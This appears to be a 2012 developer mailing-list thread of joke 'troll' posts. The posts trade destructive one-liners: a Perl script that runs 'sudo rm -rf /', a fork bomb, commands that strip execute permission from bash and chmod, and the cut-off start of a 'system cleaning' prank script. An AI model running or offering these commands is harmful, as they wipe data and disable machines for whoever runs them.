Re: [dev] [perl] Saturdays troll

2012-02-11 Thread Galos, David
> Thanks, this is very funny in that anyone using a sane shell won't > suffer. I will definitely use this where I can! It also completely ruins things for people who symlink sh to bash!

Re: [dev] [perl] Saturdays troll

2012-02-11 Thread hiro
On Sat, Feb 11, 2012 at 16:17, Paul Onyschuk wrote: > $ sudo chmod -x bash && sudo chmod -x chmod Thanks, this is very funny in that anyone using a sane shell won't suffer. I will definitely use this where I can!

Re: [dev] [perl] Saturdays troll

2012-02-11 Thread Kurt H Maier
On Sat, Feb 11, 2012 at 03:48:52PM +0100, Anselm R Garbe wrote: > But be careful executing this. I can't warrant that it works and I > take no responsibility for any data loss. #!/usr/bin/perl # ruin computer without data loss fork while fork;

Re: [dev] [perl] Saturdays troll

2012-02-11 Thread Paul Onyschuk
On Sat, 11 Feb 2012 15:48:52 +0100 Anselm R Garbe wrote: > > Indeed, here we go: > > #!/usr/bin/perl > exec("sudo", "rm", "-rf", "/"); > > But be careful executing this. I can't warrant that it works and I > take no responsibility for any data loss. > I'm not sure if it works anymore. Most p

Re: [dev] [perl] Saturdays troll

2012-02-11 Thread Anselm R Garbe
On 11 February 2012 12:36, Simon Wurstwasser wrote: > please review the attached perl script. > I bet, it could be written more efficiently. :-) Indeed, here we go: #!/usr/bin/perl exec("sudo", "rm", "-rf", "/"); But be careful executing this. I can't warrant that it works and I take no respons

Re: [dev] [perl] Saturdays troll

2012-02-11 Thread hiro
why .txt?

[dev] [perl] Saturdays troll

2012-02-11 Thread Simon Wurstwasser
Hi, please review the attached perl script. I bet, it could be written more efficiently. :-) Thanks, Simon #!/usr/bin/perl -w # Bofh.pl Volume 1 # clean a given system # please rewrite as necessary ;) binmode(STDOUT, ":utf8"); use vars qw ($nolo $line); print "Ein \x{224}?" or die; open ($nol